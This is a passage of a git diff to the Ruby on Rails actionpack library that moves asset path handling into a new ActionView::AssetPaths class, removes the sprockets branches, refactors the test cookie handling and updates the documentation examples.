{} @@ -207,9 +207,6 @@ module ActionDispatch "*/*;q=0.5" unless defined? @named_routes_configured - # install the named routes in this session instance. - klass = singleton_class - # the helpers are made protected by default--we make them public for # easier access during testing and troubleshooting. @named_routes_configured = true @@ -244,8 +241,8 @@ module ActionDispatch end # Performs the actual request. - def process(method, path, parameters = nil, env = nil) - env ||= {} + def process(method, path, parameters = nil, rack_env = nil) + rack_env ||= {} if path =~ %r{://} location = URI.parse(path) https! URI::HTTPS === location if location.scheme @@ -261,7 +258,7 @@ module ActionDispatch hostname, port = host.split(':') - default_env = { + env = { :method => method, :params => parameters, @@ -279,7 +276,7 @@ module ActionDispatch session = Rack::Test::Session.new(_mock_session) - env.reverse_merge!(default_env) + env.merge!(rack_env) # NOTE: rack-test v0.5 doesn't build a default uri correctly # Make sure requested path is always a full uri diff --git a/actionpack/lib/action_dispatch/testing/test_process.rb b/actionpack/lib/action_dispatch/testing/test_process.rb index 397bda41d5..b08ff41950 100644 --- a/actionpack/lib/action_dispatch/testing/test_process.rb +++ b/actionpack/lib/action_dispatch/testing/test_process.rb @@ -1,15 +1,11 @@ +require 'action_dispatch/middleware/cookies' require 'action_dispatch/middleware/flash' require 'active_support/core_ext/hash/indifferent_access' module ActionDispatch module TestProcess def assigns(key = nil) - assigns = {}.with_indifferent_access - @controller.instance_variable_names.each do |ivar| - next if ActionController::Base.protected_instance_variables.include?(ivar) - assigns[ivar[1..-1]] = @controller.instance_variable_get(ivar) - end - + assigns = @controller.view_assigns.with_indifferent_access key.nil? ? assigns : assigns[key] end @@ -22,7 +18,7 @@ module ActionDispatch end def cookies - @request.cookies.merge(@response.cookies).with_indifferent_access + @request.cookie_jar end def redirect_to_url @@ -38,7 +34,7 @@ module ActionDispatch # # post :change_avatar, :avatar => fixture_file_upload('/files/spongebob.png', 'image/png', :binary) def fixture_file_upload(path, mime_type = nil, binary = false) - fixture_path = ActionController::TestCase.send(:fixture_path) if ActionController::TestCase.respond_to?(:fixture_path) + fixture_path = self.class.fixture_path if self.class.respond_to?(:fixture_path) Rack::Test::UploadedFile.new("#{fixture_path}#{path}", mime_type, binary) end end diff --git a/actionpack/lib/action_dispatch/testing/test_request.rb b/actionpack/lib/action_dispatch/testing/test_request.rb index 822adb6a47..7280e9a93b 100644 --- a/actionpack/lib/action_dispatch/testing/test_request.rb +++ b/actionpack/lib/action_dispatch/testing/test_request.rb @@ -1,4 +1,5 @@ require 'active_support/core_ext/object/blank' +require 'active_support/core_ext/hash/indifferent_access' require 'active_support/core_ext/hash/reverse_merge' require 'rack/utils' @@ -14,18 +15,11 @@ module ActionDispatch env = Rails.application.env_config.merge(env) if defined?(Rails.application) super(DEFAULT_ENV.merge(env)) - @cookies = nil self.host = 'test.host' self.remote_addr = '0.0.0.0' self.user_agent = 'Rails Testing' end - def env - write_cookies! - delete_nil_values! - super - end - def request_method=(method) @env['REQUEST_METHOD'] = method.to_s.upcase end @@ -71,23 +65,10 @@ module ActionDispatch @env['HTTP_ACCEPT'] = Array(mime_types).collect { |mime_type| mime_type.to_s }.join(",") end + alias :rack_cookies :cookies + def cookies - @cookies ||= super + @cookies ||= {}.with_indifferent_access end - - private - def write_cookies! - unless @cookies.blank? - @env['HTTP_COOKIE'] = @cookies.map { |name, value| escape_cookie(name, value) }.join('; ') - end - end - - def escape_cookie(name, value) - "#{Rack::Utils.escape(name)}=#{Rack::Utils.escape(value)}" - end - - def delete_nil_values! - @env.delete_if { |k, v| v.nil? } - end end end diff --git a/actionpack/lib/action_pack/version.rb b/actionpack/lib/action_pack/version.rb index 584e5c3791..add6b56425 100644 --- a/actionpack/lib/action_pack/version.rb +++ b/actionpack/lib/action_pack/version.rb @@ -1,9 +1,9 @@ module ActionPack module VERSION #:nodoc: MAJOR = 3 - MINOR = 1 + MINOR = 2 TINY = 0 - PRE = "beta1" + PRE = "beta" STRING = [MAJOR, MINOR, TINY, PRE].compact.join('.') end diff --git a/actionpack/lib/action_view.rb b/actionpack/lib/action_view.rb index a67b61c1ef..d7229419a9 100644 --- a/actionpack/lib/action_view.rb +++ b/actionpack/lib/action_view.rb @@ -30,6 +30,7 @@ module ActionView extend ActiveSupport::Autoload eager_autoload do + autoload :AssetPaths autoload :Base autoload :Context autoload :Helpers @@ -71,11 +72,6 @@ module ActionView autoload :TemplateError autoload :WrongEncodingError end - - autoload_at "action_view/template" do - autoload :TemplateHandler - autoload :TemplateHandlers - end end ENCODING_FLAG = '#.*coding[:=]\s*(\S+)[ \t]*' diff --git a/actionpack/lib/action_view/asset_paths.rb b/actionpack/lib/action_view/asset_paths.rb new file mode 100644 index 0000000000..1d16e34df6 --- /dev/null +++ b/actionpack/lib/action_view/asset_paths.rb @@ -0,0 +1,136 @@ +require 'zlib' +require 'active_support/core_ext/file' +require 'action_controller/metal/exceptions' + +module ActionView + class AssetPaths #:nodoc: + attr_reader :config, :controller + + def initialize(config, controller = nil) + @config = config + @controller = controller + end + + # Add the extension +ext+ if not present. Return full or scheme-relative URLs otherwise untouched. + # Prefix with <tt>/dir/</tt> if lacking a leading +/+. Account for relative URL + # roots. Rewrite the asset path for cache-busting asset ids. Include + # asset host, if configured, with the correct request protocol. + # + # When :relative (default), the protocol will be determined by the client using current protocol + # When :request, the protocol will be the request protocol + # Otherwise, the protocol is used (E.g. :http, :https, etc) + def compute_public_path(source, dir, options = {}) + source = source.to_s + return source if is_uri?(source) + + source = rewrite_extension(source, dir, options[:ext]) if options[:ext] + source = rewrite_asset_path(source, dir, options) + source = rewrite_relative_url_root(source, relative_url_root) + source = rewrite_host_and_protocol(source, options[:protocol]) + source + end + + # Return the filesystem path for the source + def compute_source_path(source, dir, ext) + source = rewrite_extension(source, dir, ext) if ext + File.join(config.assets_dir, dir, source) + end + + def is_uri?(path) + path =~ %r{^[-a-z]+://|^cid:|^//} + end + + private + + def rewrite_extension(source, dir, ext) + raise NotImplementedError + end + + def rewrite_asset_path(source, path = nil) + raise NotImplementedError + end + + def rewrite_relative_url_root(source, relative_url_root) + relative_url_root && !source.starts_with?("#{relative_url_root}/") ? "#{relative_url_root}#{source}" : source + end + + def has_request? + controller.respond_to?(:request) + end + + def rewrite_host_and_protocol(source, protocol = nil) + host = compute_asset_host(source) + if host && !is_uri?(host) + if (protocol || default_protocol) == :request && !has_request? + host = nil + else + host = "#{compute_protocol(protocol)}#{host}" + end + end + host ? "#{host}#{source}" : source + end + + def compute_protocol(protocol) + protocol ||= default_protocol + case protocol + when :relative + "//" + when :request + unless @controller + invalid_asset_host!("The protocol requested was :request. Consider using :relative instead.") + end + @controller.request.protocol + else + "#{protocol}://" + end + end + + def default_protocol + @config.default_asset_host_protocol || (has_request? ? :request : :relative) + end + + def invalid_asset_host!(help_message) + raise ActionController::RoutingError, "This asset host cannot be computed without a request in scope. #{help_message}" + end + + # Pick an asset host for this source. Returns +nil+ if no host is set, + # the host if no wildcard is set, the host interpolated with the + # numbers 0-3 if it contains <tt>%d</tt> (the number is the source hash mod 4), + # or the value returned from invoking call on an object responding to call + # (proc or otherwise). + def compute_asset_host(source) + if host = asset_host_config + if host.respond_to?(:call) + args = [source] + arity = arity_of(host) + if arity > 1 && !has_request? + invalid_asset_host!("Remove the second argument to your asset_host Proc if you do not need the request.") + end + args << current_request if (arity > 1 || arity < 0) && has_request? + host.call(*args) + else + (host =~ /%d/) ? host % (Zlib.crc32(source) % 4) : host + end + end + end + + def relative_url_root + config.relative_url_root + end + + def asset_host_config + config.asset_host + end + + # Returns the current request if one exists. + def current_request + controller.request if has_request? + end + + # Returns the arity of a callable + def arity_of(callable) + callable.respond_to?(:arity) ? callable.arity : callable.method(:call).arity + end + + end +end diff --git a/actionpack/lib/action_view/base.rb b/actionpack/lib/action_view/base.rb index fd2970b8e2..36c49d9c91 100644 --- a/actionpack/lib/action_view/base.rb +++ b/actionpack/lib/action_view/base.rb @@ -4,6 +4,7 @@ require 'active_support/core_ext/class/attribute' require 'active_support/core_ext/array/wrap' require 'active_support/ordered_options' require 'action_view/log_subscriber' +require 'active_support/core_ext/module/deprecation' module ActionView #:nodoc: # = Action View Base @@ -115,7 +116,7 @@ module ActionView #:nodoc: # xml.language "en-us" # xml.ttl "40" # - # for item in @recent_items + # @recent_items.each do |item| # xml.item do # xml.title(item_title(item)) # xml.description(item_description(item)) if item_description(item) @@ -161,6 +162,7 @@ module ActionView #:nodoc: value.is_a?(PathSet) ? value.dup : ActionView::PathSet.new(Array.wrap(value)) end + deprecate :process_view_paths def xss_safe? #:nodoc: true @@ -194,7 +196,7 @@ module ActionView #:nodoc: end def initialize(context = nil, assigns = {}, controller = nil, formats = nil) #:nodoc: - @_config = {} + @_config = ActiveSupport::InheritableOptions.new # Handle all these for backwards compatibility. # TODO Provide a new API for AV::Base and deprecate this one. diff --git a/actionpack/lib/action_view/buffers.rb b/actionpack/lib/action_view/buffers.rb index 089fc68706..be7f65c2ce 100644 --- a/actionpack/lib/action_view/buffers.rb +++ b/actionpack/lib/action_view/buffers.rb @@ -35,9 +35,9 @@ module ActionView def html_safe? true end - + def html_safe self end end -end
\ No newline at end of file +end diff --git a/actionpack/lib/action_view/helpers.rb b/actionpack/lib/action_view/helpers.rb index 78a68db282..262e0f1010 100644 --- a/actionpack/lib/action_view/helpers.rb +++ b/actionpack/lib/action_view/helpers.rb @@ -22,7 +22,6 @@ module ActionView #:nodoc: autoload :RecordTagHelper autoload :RenderingHelper autoload :SanitizeHelper - autoload :SprocketsHelper autoload :TagHelper autoload :TextHelper autoload :TranslationHelper @@ -53,7 +52,6 @@ module ActionView #:nodoc: include RecordTagHelper include RenderingHelper include SanitizeHelper - include SprocketsHelper include TagHelper include TextHelper include TranslationHelper diff --git a/actionpack/lib/action_view/helpers/asset_paths.rb b/actionpack/lib/action_view/helpers/asset_paths.rb index 958f0e0a10..fae2e4fc1c 100644 --- a/actionpack/lib/action_view/helpers/asset_paths.rb +++ b/actionpack/lib/action_view/helpers/asset_paths.rb @@ -1,79 +1,7 @@ -require 'active_support/core_ext/file' -require 'action_view/helpers/asset_paths' +ActiveSupport::Deprecation.warn "ActionView::Helpers::AssetPaths is deprecated. Please use ActionView::AssetPaths instead." module ActionView module Helpers - - class AssetPaths #:nodoc: - attr_reader :config, :controller - - def initialize(config, controller) - @config = config - @controller = controller - end - - # Add the extension +ext+ if not present. Return full or scheme-relative URLs otherwise untouched. - # Prefix with <tt>/dir/</tt> if lacking a leading +/+. Account for relative URL - # roots. Rewrite the asset path for cache-busting asset ids. Include - # asset host, if configured, with the correct request protocol. - def compute_public_path(source, dir, ext = nil, include_host = true) - source = source.to_s - return source if is_uri?(source) - - source = rewrite_extension(source, dir, ext) if ext - source = rewrite_asset_path(source, dir) - - if controller && include_host - has_request = controller.respond_to?(:request) - source = rewrite_host_and_protocol(source, has_request) - end - - source - end - - def is_uri?(path) - path =~ %r{^[-a-z]+://|^cid:|^//} - end - - private - - def rewrite_extension(source, dir, ext) - raise NotImplementedError - end - - def rewrite_asset_path(source, path = nil) - raise NotImplementedError - end - - def rewrite_host_and_protocol(source, has_request) - host = compute_asset_host(source) - if has_request && host && !is_uri?(host) - host = "#{controller.request.protocol}#{host}" - end - "#{host}#{source}" - end - - # Pick an asset host for this source. Returns +nil+ if no host is set, - # the host if no wildcard is set, the host interpolated with the - # numbers 0-3 if it contains <tt>%d</tt> (the number is the source hash mod 4), - # or the value returned from invoking the proc if it's a proc or the value from - # invoking call if it's an object responding to call. - def compute_asset_host(source) - if host = config.asset_host - if host.is_a?(Proc) || host.respond_to?(:call) - case host.is_a?(Proc) ? host.arity : host.method(:call).arity - when 2 - request = controller.respond_to?(:request) && controller.request - host.call(source, request) - else - host.call(source) - end - else - (host =~ /%d/) ? host % (source.hash % 4) : host - end - end - end - end - + AssetPaths = ::ActionView::AssetPaths end end
\ No newline at end of file diff --git a/actionpack/lib/action_view/helpers/asset_tag_helper.rb b/actionpack/lib/action_view/helpers/asset_tag_helper.rb index 9bc847a1ab..7d01e5ddb8 100644 --- a/actionpack/lib/action_view/helpers/asset_tag_helper.rb +++ b/actionpack/lib/action_view/helpers/asset_tag_helper.rb @@ -1,6 +1,7 @@ require 'action_view/helpers/asset_tag_helpers/javascript_tag_helpers' require 'action_view/helpers/asset_tag_helpers/stylesheet_tag_helpers' require 'action_view/helpers/asset_tag_helpers/asset_paths' +require 'action_view/helpers/tag_helper' module ActionView # = Action View Asset Tag Helpers @@ -153,7 +154,7 @@ module ActionView # "/release-#{RELEASE_NUMBER}#{asset_path}" # } # - # This example would cause the following behaviour on all servers no + # This example would cause the following behavior on all servers no # matter when they were deployed: # # image_tag("rails.png") @@ -191,6 +192,7 @@ module ActionView # RewriteEngine On # RewriteRule ^/release-\d+/(images|javascripts|stylesheets)/(.*)$ /$1/$2 [L] module AssetTagHelper + include TagHelper include JavascriptTagHelpers include StylesheetTagHelpers # Returns a link tag that browsers and news readers can use to auto-detect @@ -274,11 +276,7 @@ module ActionView # The alias +path_to_image+ is provided to avoid that. Rails uses the alias internally, and # plugin authors are encouraged to do so. def image_path(source) - if config.use_sprockets - asset_path(source) - else - asset_paths.compute_public_path(source, 'images') - end + asset_paths.compute_public_path(source, 'images') end alias_method :path_to_image, :image_path # aliased to avoid conflicts with an image_path named route @@ -293,11 +291,7 @@ module ActionView # video_path("/trailers/hd.avi") # => /trailers/hd.avi # video_path("http://www.example.com/vid/hd.avi") # => http://www.example.com/vid/hd.avi def video_path(source) - if config.use_sprockets - asset_path(source) - else - asset_paths.compute_public_path(source, 'videos') - end + asset_paths.compute_public_path(source, 'videos') end alias_method :path_to_video, :video_path # aliased to avoid conflicts with a video_path named route @@ -312,11 +306,7 @@ module ActionView # audio_path("/sounds/horse.wav") # => /sounds/horse.wav # audio_path("http://www.example.com/sounds/horse.wav") # => http://www.example.com/sounds/horse.wav def audio_path(source) - if config.use_sprockets - asset_path(source) - else - asset_paths.compute_public_path(source, 'audios') - end + asset_paths.compute_public_path(source, 'audios') end alias_method :path_to_audio, :audio_path # aliased to avoid conflicts with an audio_path named route @@ -359,7 +349,7 @@ module ActionView src = options[:src] = path_to_image(source) unless src =~ /^cid:/ - options[:alt] = options.fetch(:alt){ File.basename(src, '.*').capitalize } + options[:alt] = options.fetch(:alt){ image_alt(src) } end if size = options.delete(:size) @@ -374,6 +364,10 @@ module ActionView tag("img", options) end + def image_alt(src) + File.basename(src, '.*').sub(/-[[:xdigit:]]{32}\z/, '').capitalize + end + # Returns an html video tag for the +sources+. If +sources+ is a string, # a single video tag will be returned. If +sources+ is an array, a video # tag with nested source tags for each source will be returned. The diff --git a/actionpack/lib/action_view/helpers/asset_tag_helpers/asset_include_tag.rb b/actionpack/lib/action_view/helpers/asset_tag_helpers/asset_include_tag.rb index e4662a2919..05d5f1870a 100644 --- a/actionpack/lib/action_view/helpers/asset_tag_helpers/asset_include_tag.rb +++ b/actionpack/lib/action_view/helpers/asset_tag_helpers/asset_include_tag.rb @@ -60,12 +60,16 @@ module ActionView private - def path_to_asset(source, include_host = true) - asset_paths.compute_public_path(source, asset_name.to_s.pluralize, extension, include_host) + def path_to_asset(source, options = {}) + asset_paths.compute_public_path(source, asset_name.to_s.pluralize, options.merge(:ext => extension)) + end + + def path_to_asset_source(source) + asset_paths.compute_source_path(source, asset_name.to_s.pluralize, extension) end def compute_paths(*args) - expand_sources(*args).collect { |source| asset_paths.compute_public_path(source, asset_name.pluralize, extension, false) } + expand_sources(*args).collect { |source| path_to_asset_source(source) } end def expand_sources(sources, recursive) @@ -92,7 +96,7 @@ module ActionView def ensure_sources!(sources) sources.each do |source| - asset_file_path!(path_to_asset(source, false)) + asset_file_path!(path_to_asset_source(source)) end end @@ -123,19 +127,14 @@ module ActionView # Set mtime to the latest of the combined files to allow for # consistent ETag without a shared filesystem. - mt = asset_paths.map { |p| File.mtime(asset_file_path(p)) }.max + mt = asset_paths.map { |p| File.mtime(asset_file_path!(p)) }.max File.utime(mt, mt, joined_asset_path) end - def asset_file_path(path) - File.join(config.assets_dir, path.split('?').first) - end - - def asset_file_path!(path, error_if_file_is_uri = false) - if asset_paths.is_uri?(path) + def asset_file_path!(absolute_path, error_if_file_is_uri = false) + if asset_paths.is_uri?(absolute_path) raise(Errno::ENOENT, "Asset file #{path} is uri and cannot be merged into single file") if error_if_file_is_uri else - absolute_path = asset_file_path(path) raise(Errno::ENOENT, "Asset file not found at '#{absolute_path}'" ) unless File.exist?(absolute_path) return absolute_path end diff --git a/actionpack/lib/action_view/helpers/asset_tag_helpers/asset_paths.rb b/actionpack/lib/action_view/helpers/asset_tag_helpers/asset_paths.rb index cd0f8c8878..dd4e9ae4cc 100644 --- a/actionpack/lib/action_view/helpers/asset_tag_helpers/asset_paths.rb +++ b/actionpack/lib/action_view/helpers/asset_tag_helpers/asset_paths.rb @@ -1,11 +1,11 @@ +require 'thread' require 'active_support/core_ext/file' -require 'action_view/helpers/asset_paths' module ActionView module Helpers module AssetTagHelper - class AssetPaths < ActionView::Helpers::AssetPaths #:nodoc: + class AssetPaths < ::ActionView::AssetPaths #:nodoc: # You can enable or disable the asset tag ids cache. # With the cache enabled, the asset tag helper methods will make fewer # expensive file system calls (the default implementation checks the file @@ -41,7 +41,7 @@ module ActionView # Break out the asset path rewrite in case plugins wish to put the asset id # someplace other than the query string. - def rewrite_asset_path(source, dir) + def rewrite_asset_path(source, dir, options = nil) source = "/#{dir}/#{source}" unless source[0] == ?/ path = config.asset_path @@ -85,17 +85,8 @@ module ActionView end end end - - def rewrite_relative_url_root(source, relative_url_root) - relative_url_root && !source.starts_with?("#{relative_url_root}/") ? "#{relative_url_root}#{source}" : source - end - - def rewrite_host_and_protocol(source, has_request) - source = rewrite_relative_url_root(source, controller.config.relative_url_root) if has_request - super(source, has_request) - end end end end -end
\ No newline at end of file +end diff --git a/actionpack/lib/action_view/helpers/asset_tag_helpers/javascript_tag_helpers.rb b/actionpack/lib/action_view/helpers/asset_tag_helpers/javascript_tag_helpers.rb index e1ee0d0e1a..09700bd0c5 100644 --- a/actionpack/lib/action_view/helpers/asset_tag_helpers/javascript_tag_helpers.rb +++ b/actionpack/lib/action_view/helpers/asset_tag_helpers/javascript_tag_helpers.rb @@ -83,11 +83,7 @@ module ActionView # javascript_path "http://www.example.com/js/xmlhr" # => http://www.example.com/js/xmlhr # javascript_path "http://www.example.com/js/xmlhr.js" # => http://www.example.com/js/xmlhr.js def javascript_path(source) - if config.use_sprockets - asset_path(source, 'js') - else - asset_paths.compute_public_path(source, 'javascripts', 'js') - end + asset_paths.compute_public_path(source, 'javascripts', :ext => 'js') end alias_method :path_to_javascript, :javascript_path # aliased to avoid conflicts with a javascript_path named route @@ -187,12 +183,8 @@ module ActionView # # javascript_include_tag :all, :cache => true, :recursive => true def javascript_include_tag(*sources) - if config.use_sprockets - sprockets_javascript_include_tag(*sources) - else - @javascript_include ||= JavascriptIncludeTag.new(config, asset_paths) - @javascript_include.include_tag(*sources) - end + @javascript_include ||= JavascriptIncludeTag.new(config, asset_paths) + @javascript_include.include_tag(*sources) end end end diff --git a/actionpack/lib/action_view/helpers/asset_tag_helpers/stylesheet_tag_helpers.rb b/actionpack/lib/action_view/helpers/asset_tag_helpers/stylesheet_tag_helpers.rb index a95eb221be..343153c8c5 100644 --- a/actionpack/lib/action_view/helpers/asset_tag_helpers/stylesheet_tag_helpers.rb +++ b/actionpack/lib/action_view/helpers/asset_tag_helpers/stylesheet_tag_helpers.rb @@ -16,7 +16,8 @@ module ActionView end def asset_tag(source, options) - tag("link", { "rel" => "stylesheet", "type" => Mime::CSS, "media" => "screen", "href" => ERB::Util.html_escape(path_to_asset(source)) }.merge(options), false, false) + # We force the :request protocol here to avoid a double-download bug in IE7 and IE8 + tag("link", { "rel" => "stylesheet", "type" => Mime::CSS, "media" => "screen", "href" => path_to_asset(source, :protocol => :request) }.merge(options)) end def custom_dir @@ -52,7 +53,7 @@ module ActionView # If the +source+ filename has no extension, <tt>.css</tt> will be appended (except for explicit URIs). # Full paths from the document root will be passed through. # Used internally by +stylesheet_link_tag+ to build the stylesheet path. - # + # # ==== Examples # stylesheet_path "style" # => /stylesheets/style.css # stylesheet_path "dir/style.css" # => /stylesheets/dir/style.css @@ -60,11 +61,7 @@ module ActionView # stylesheet_path "http://www.example.com/css/style" # => http://www.example.com/css/style # stylesheet_path "http://www.example.com/css/style.css" # => http://www.example.com/css/style.css def stylesheet_path(source) - if config.use_sprockets - asset_path(source, 'css') - else - asset_paths.compute_public_path(source, 'stylesheets', 'css') - end + asset_paths.compute_public_path(source, 'stylesheets', :ext => 'css', :protocol => :request) end alias_method :path_to_stylesheet, :stylesheet_path # aliased to avoid conflicts with a stylesheet_path named route @@ -137,12 +134,8 @@ module ActionView # stylesheet_link_tag :all, :concat => true # def stylesheet_link_tag(*sources) - if config.use_sprockets - sprockets_stylesheet_link_tag(*sources) - else - @stylesheet_include ||= StylesheetIncludeTag.new(config, asset_paths) - @stylesheet_include.include_tag(*sources) - end + @stylesheet_include ||= StylesheetIncludeTag.new(config, asset_paths) + @stylesheet_include.include_tag(*sources) end end diff --git a/actionpack/lib/action_view/helpers/atom_feed_helper.rb b/actionpack/lib/action_view/helpers/atom_feed_helper.rb index a087688a2c..39c37b25dc 100644 --- a/actionpack/lib/action_view/helpers/atom_feed_helper.rb +++ b/actionpack/lib/action_view/helpers/atom_feed_helper.rb @@ -20,7 +20,7 @@ module ActionView # # GET /posts.html # # GET /posts.atom # def index - # @posts = Post.find(:all) + # @posts = Post.all # # respond_to do |format| # format.html diff --git a/actionpack/lib/action_view/helpers/cache_helper.rb b/actionpack/lib/action_view/helpers/cache_helper.rb index e81d03b537..850dd5f448 100644 --- a/actionpack/lib/action_view/helpers/cache_helper.rb +++ b/actionpack/lib/action_view/helpers/cache_helper.rb @@ -51,7 +51,11 @@ module ActionView # This dance is needed because Builder can't use capture pos = output_buffer.length yield + output_safe = output_buffer.html_safe? fragment = output_buffer.slice!(pos..-1) + if output_safe + self.output_buffer = output_buffer.class.new(output_buffer) + end controller.write_fragment(name, fragment, options) end end diff --git a/actionpack/lib/action_view/helpers/capture_helper.rb b/actionpack/lib/action_view/helpers/capture_helper.rb index 3b5f4e694f..8abd85c3a3 100644 --- a/actionpack/lib/action_view/helpers/capture_helper.rb +++ b/actionpack/lib/action_view/helpers/capture_helper.rb @@ -27,7 +27,7 @@ module ActionView # "The current timestamp is #{Time.now}." # end # - # You can then use that variable anywhere else. For example: + # You can then use that variable anywhere else. For example: # # <html> # <head><title><%= @greeting %></title></head> @@ -76,7 +76,7 @@ module ActionView # # <%= stored_content %> # - # You can use the <tt>yield</tt> syntax alongside an existing call to <tt>yield</tt> in a layout. For example: + # You can use the <tt>yield</tt> syntax alongside an existing call to <tt>yield</tt> in a layout. For example: # # <%# This is the layout %> # <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> @@ -134,9 +134,9 @@ module ActionView # WARNING: content_for is ignored in caches. So you shouldn't use it # for elements that will be fragment cached. def content_for(name, content = nil, &block) - content = capture(&block) if block_given? - if content - @view_flow.append(name, content) + if content || block_given? + content = capture(&block) if block_given? + @view_flow.append(name, content) if content nil else @view_flow.get(name) diff --git a/actionpack/lib/action_view/helpers/controller_helper.rb b/actionpack/lib/action_view/helpers/controller_helper.rb index e22331cb3c..1a583e62ae 100644 --- a/actionpack/lib/action_view/helpers/controller_helper.rb +++ b/actionpack/lib/action_view/helpers/controller_helper.rb @@ -1,3 +1,5 @@ +require 'active_support/core_ext/module/attr_internal' + module ActionView module Helpers # This module keeps all methods and behavior in ActionView @@ -18,4 +20,4 @@ module ActionView end end end -end
\ No newline at end of file +end diff --git a/actionpack/lib/action_view/helpers/date_helper.rb b/actionpack/lib/action_view/helpers/date_helper.rb index c78c03a5eb..4deb87180c 100644 --- a/actionpack/lib/action_view/helpers/date_helper.rb +++ b/actionpack/lib/action_view/helpers/date_helper.rb @@ -8,8 +8,8 @@ module ActionView module Helpers # = Action View Date Helpers # - # The Date Helper primarily creates select/option tags for different kinds of dates and date elements. All of the - # select-type methods share a number of common options that are as follows: + # The Date Helper primarily creates select/option tags for different kinds of dates and times or date and time + # elements. All of the select-type methods share a number of common options that are as follows: # # * <tt>:prefix</tt> - overwrites the default prefix of "date" used for the select names. So specifying "birthday" # would give birthday[month] instead of date[month] if passed to the <tt>select_month</tt> method. @@ -18,7 +18,7 @@ module ActionView # the <tt>select_month</tt> method would use simply "date" (which can be overwritten using <tt>:prefix</tt>) instead # of "date[month]". module DateHelper - # Reports the approximate distance in time between two Time or Date objects or integers as seconds. + # Reports the approximate distance in time between two Time, Date or DateTime objects or integers as seconds. # Set <tt>include_seconds</tt> to true if you want more detailed approximations when distance < 1 min, 29 secs. # Distances are reported based on the following table: # @@ -176,37 +176,37 @@ module ActionView # NOTE: Discarded selects will default to 1. So if no month select is available, January will be assumed. # # ==== Examples - # # Generates a date select that when POSTed is stored in the post variable, in the written_on attribute. - # date_select("post", "written_on") + # # Generates a date select that when POSTed is stored in the article variable, in the written_on attribute. + # date_select("article", "written_on") # - # # Generates a date select that when POSTed is stored in the post variable, in the written_on attribute, + # # Generates a date select that when POSTed is stored in the article variable, in the written_on attribute, # # with the year in the year drop down box starting at 1995. - # date_select("post", "written_on", :start_year => 1995) + # date_select("article", "written_on", :start_year => 1995) # - # # Generates a date select that when POSTed is stored in the post variable, in the written_on attribute, + # # Generates a date select that when POSTed is stored in the article variable, in the written_on attribute, # # with the year in the year drop down box starting at 1995, numbers used for months instead of words, # # and without a day select box. - # date_select("post", "written_on", :start_year => 1995, :use_month_numbers => true, + # date_select("article", "written_on", :start_year => 1995, :use_month_numbers => true, # :discard_day => true, :include_blank => true) # - # # Generates a date select that when POSTed is stored in the post variable, in the written_on attribute + # # Generates a date select that when POSTed is stored in the article variable, in the written_on attribute # # with the fields ordered as day, month, year rather than month, day, year. - # date_select("post", "written_on", :order => [:day, :month, :year]) + # date_select("article", "written_on", :order => [:day, :month, :year]) # # # Generates a date select that when POSTed is stored in the user variable, in the birthday attribute # # lacking a year field. # date_select("user", "birthday", :order => [:month, :day]) # - # # Generates a date select that when POSTed is stored in the post variable, in the written_on attribute + # # Generates a date select that when POSTed is stored in the article variable, in the written_on attribute # # which is initially set to the date 3 days from the current date - # date_select("post", "written_on", :default => 3.days.from_now) + # date_select("article", "written_on", :default => 3.days.from_now) # # # Generates a date select that when POSTed is stored in the credit_card variable, in the bill_due attribute # # that will have a default day of 20. # date_select("credit_card", "bill_due", :default => { :day => 20 }) # # # Generates a date select with custom prompts. - # date_select("post", "written_on", :prompt => { :day => 'Select day', :month => 'Select month', :year => 'Select year' }) + # date_select("article", "written_on", :prompt => { :day => 'Select day', :month => 'Select month', :year => 'Select year' }) # # The selects are prepared for multi-parameter assignment to an Active Record object. # @@ -228,20 +228,20 @@ module ActionView # If anything is passed in the html_options hash it will be applied to every select tag in the set. # # ==== Examples - # # Creates a time select tag that, when POSTed, will be stored in the post variable in the sunrise attribute. - # time_select("post", "sunrise") + # # Creates a time select tag that, when POSTed, will be stored in the article variable in the sunrise attribute. + # time_select("article", "sunrise") # - # # Creates a time select tag with a seconds field that, when POSTed, will be stored in the post variables in + # # Creates a time select tag with a seconds field that, when POSTed, will be stored in the article variables in # # the sunrise attribute. - # time_select("post", "start_time", :include_seconds => true) + # time_select("article", "start_time", :include_seconds => true) # # # You can set the <tt>:minute_step</tt> to 15 which will give you: 00, 15, 30 and 45. # time_select 'game', 'game_time', {:minute_step => 15} # # # Creates a time select tag with a custom prompt. Use <tt>:prompt => true</tt> for generic prompts. - # time_select("post", "written_on", :prompt => {:hour => 'Choose hour', :minute => 'Choose minute', :second => 'Choose seconds'}) - # time_select("post", "written_on", :prompt => {:hour => true}) # generic prompt for hours - # time_select("post", "written_on", :prompt => true) # generic prompts for all + # time_select("article", "written_on", :prompt => {:hour => 'Choose hour', :minute => 'Choose minute', :second => 'Choose seconds'}) + # time_select("article", "written_on", :prompt => {:hour => true}) # generic prompt for hours + # time_select("article", "written_on", :prompt => true) # generic prompts for all # # # You can set :ampm option to true which will show the hours as: 12 PM, 01 AM .. 11 PM. # time_select 'game', 'game_time', {:ampm => true} @@ -261,36 +261,36 @@ module ActionView # If anything is passed in the html_options hash it will be applied to every select tag in the set. # # ==== Examples - # # Generates a datetime select that, when POSTed, will be stored in the post variable in the written_on + # # Generates a datetime select that, when POSTed, will be stored in the article variable in the written_on # # attribute. - # datetime_select("post", "written_on") + # datetime_select("article", "written_on") # # # Generates a datetime select with a year select that starts at 1995 that, when POSTed, will be stored in the - # # post variable in the written_on attribute. - # datetime_select("post", "written_on", :start_year => 1995) + # # article variable in the written_on attribute. + # datetime_select("article", "written_on", :start_year => 1995) # # # Generates a datetime select with a default value of 3 days from the current time that, when POSTed, will # # be stored in the trip variable in the departing attribute. # datetime_select("trip", "departing", :default => 3.days.from_now) # # # Generate a datetime select with hours in the AM/PM format - # datetime_select("post", "written_on", :ampm => true) + # datetime_select("article", "written_on", :ampm => true) # - # # Generates a datetime select that discards the type that, when POSTed, will be stored in the post variable + # # Generates a datetime select that discards the type that, when POSTed, will be stored in the article variable # # as the written_on attribute. - # datetime_select("post", "written_on", :discard_type => true) + # datetime_select("article", "written_on", :discard_type => true) # # # Generates a datetime select with a custom prompt. Use <tt>:prompt => true</tt> for generic prompts. - # datetime_select("post", "written_on", :prompt => {:day => 'Choose day', :month => 'Choose month', :year => 'Choose year'}) - # datetime_select("post", "written_on", :prompt => {:hour => true}) # generic prompt for hours - # datetime_select("post", "written_on", :prompt => true) # generic prompts for all + # datetime_select("article", "written_on", :prompt => {:day => 'Choose day', :month => 'Choose month', :year => 'Choose year'}) + # datetime_select("article", "written_on", :prompt => {:hour => true}) # generic prompt for hours + # 